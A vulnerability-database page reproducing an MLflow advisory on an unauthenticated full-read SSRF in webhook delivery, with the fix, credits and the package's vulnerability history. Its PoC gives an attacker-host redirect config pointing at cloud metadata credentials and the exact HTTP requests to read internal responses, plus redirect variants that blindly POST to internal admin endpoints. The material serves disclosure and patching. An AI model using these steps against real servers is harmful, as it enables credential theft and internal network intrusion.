Krytyczna

MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)

  • Ujawniono: 17.08.2026
  • Aktualizacja: 11.10.2026 15:18

CISA potwierdza wykorzystanie tej podatności w rzeczywistych atakach. Priorytetowo sprawdź, czy dotyczy Twojej aplikacji. CISA KEV · CC0 1.0

Summary

The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (_validate_webhook_url, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allow_redirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details

Three facts combine:

  1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/__init__.py, WEBHOOK_BEFORE_REQUEST_HANDLERS), which is not loaded by default.

  2. The guard validates but pins nothing — mlflow/utils/validation.py _validate_webhook_url:

python
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
    for addr_info in socket.getaddrinfo(hostname, None):
        ip = ipaddress.ip_address(addr_info[4][0])
        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

The resolved IP is never carried into the connection.

  1. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:
python
def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

test_webhook returns response_status and response_body to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC

All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."}
(an https://127.0.0.1/ variant is likewise rejected as a non-public IP)
<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}
<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "response_body":"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\nrole=admin\n"

Since I don't have a cloud deployment, I placed "my secret data" in the same location.

<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />

Notes:

  • Webhook events enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase maps to ENTITY_UNSPECIFIED and 500s.

  • Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.

  • Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

  • Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact

An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

  • 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.response_body), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).
  • 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /_close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

Follow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting. The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::<ip> (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) mlflow >= 3.3.0, < 3.15.0 3.15.0

Odnośniki

Ocena CVSS 9.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Słabość (CWE)
CWE-918
Platforma
Python (PyPI)
Paczka
mlflow
Ujawniono
17.08.2026
Aktualizacja
11.10.2026 15:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-3687 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-7gwp-5pfp-969j - CC BY 4.0

Historia podatności: mlflow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (82) w archiwum
Wszystkich wpisów
82
Pierwsza → ostatnia
02.2022 09.2026
Bez poprawki
18
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 20
  • Wysoka 48
  • Średnia 13
  • Niska 1

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 22
  3. 2024: 24
  4. 2025: 8
  5. 2026: 27
Istotność:
  1. MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding) ten wpis
    Krytyczna · 9.3 Wykorzystywana w atakach CVE-2026-64849 >= 3.3.0, < 3.15.0 3.15.0
  2. Wysoka · 7.1 CVE-2026-71211 >= 3.13.0, <= 3.15.2 brak poprawki
  3. Wysoka · 8.1 CVE-2026-8147 >= 2.14.0rc0, < 3.13.0rc0 3.13.0rc0
  4. Wysoka · 7.0 CVE-2026-4137 >= 1.26.0, < 3.11.0 3.11.0
  5. Krytyczna · 10.0 CVE-2025-15379 < 3.8.1 3.8.1
  6. Krytyczna · 9.6 CVE-2025-15036 < 3.9.0rc0 3.9.0rc0
  7. Wysoka · 8.1 CVE-2025-15381 <= 3.8.1 brak poprawki
  8. Wysoka · 8.1 CVE-2025-15031 < 3.9.0rc0 3.9.0rc0
  9. Wysoka · 7.5 CVE-2025-14287 < 3.8.0rc0 3.8.0rc0
  10. Krytyczna · 9.8 CVE-2026-2635 < 3.8.0rc0 3.8.0rc0
  11. Wysoka · 7.0 CVE-2025-10279 < 3.4.0rc0 3.4.0rc0
  12. Wysoka · 8.1 CVE-2025-11200 < 2.22.0rc0 2.22.0rc0
  13. Wysoka · 8.1 CVE-2025-11201 < 2.22.4, >= 3.0.0rc0, < 3.0.0 2.22.4, 3.0.0
  14. Wysoka · 7.5 CVE-2024-8859 < 2.17.0rc0 2.17.0rc0
  15. Wysoka · 8.8 CVE-2024-37061 >= 1.11.0, <= 2.13.1 brak poprawki
  16. Wysoka · 8.8 CVE-2024-37057 >= 2.0.0rc0, <= 2.14.1 brak poprawki
  17. Wysoka · 8.8 CVE-2024-37058 >= 2.5.0, <= 2.14.1 brak poprawki
  18. Wysoka · 8.8 CVE-2024-37060 >= 1.27.0, <= 2.14.1 brak poprawki
  19. Wysoka · 8.8 CVE-2024-37059 >= 0.5.0, <= 3.4.0 brak poprawki
  20. Wysoka · 8.8 CVE-2024-37054 >= 0.9.0, <= 2.14.1 brak poprawki
  21. Wysoka · 8.8 CVE-2024-37052 >= 1.1.0, <= 2.14.1 brak poprawki
  22. Wysoka · 8.8 CVE-2024-37055 >= 1.24.0, <= 2.14.1 brak poprawki
  23. Wysoka · 8.8 CVE-2024-37056 >= 1.23.0, <= 2.14.1 brak poprawki
  24. Wysoka · 8.8 CVE-2024-37053 >= 1.1.0, <= 2.14.1 brak poprawki
Pokaż więcej (20) Widać 40 z 68

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.